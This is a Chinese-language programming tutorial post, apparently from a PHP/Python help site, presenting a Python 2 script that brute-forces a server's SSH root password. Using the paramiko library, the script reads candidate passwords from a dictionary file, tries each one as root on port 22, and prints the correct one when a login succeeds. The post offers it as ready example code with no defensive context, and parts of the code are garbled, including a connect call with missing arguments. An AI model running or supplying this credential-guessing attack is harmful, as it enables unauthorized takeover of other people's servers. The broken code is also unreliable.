首頁 >後端開發 >Python教學 >利用python暴力破解root密碼實例代碼

利用python暴力破解root密碼實例代碼

高洛峰
高洛峰原創
2017-03-22 10:42:312781瀏覽

環境準備:

    1、安裝paramiko模組

    2、伺服器ssh服務開啟22號連接埠

         

##!/usr/bin/py

#-*- coding: utf-8 -*-

import paramiko

ssh = paramiko.SSHClient( ) #實例化類別

ssh.

set_missing_host_key_policy(paramiko.AutoAddPolicy()) #連線時自動回答為yes

d =

file('/root/a.txt') #字典檔案路徑

for i in d.xreadlines():        #循環密碼字典

    i = i.strip()          #移除前後的空格

   

if not i: #若值為空白則進入下一輪迴圈

       

continue

    try:

      #開始嘗試密碼

##  , port=22, username='root', passw

ord

=i)         

print

'root密碼是',i #如果密碼正確則列印密碼       

break

#跳出迴圈    except:

        continue #如果密碼錯誤則進入下一輪迴圈

:    print '沒有破解root密碼,請更換字典重新嘗試'   #如果沒有符合密碼

以上是利用python暴力破解root密碼實例代碼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn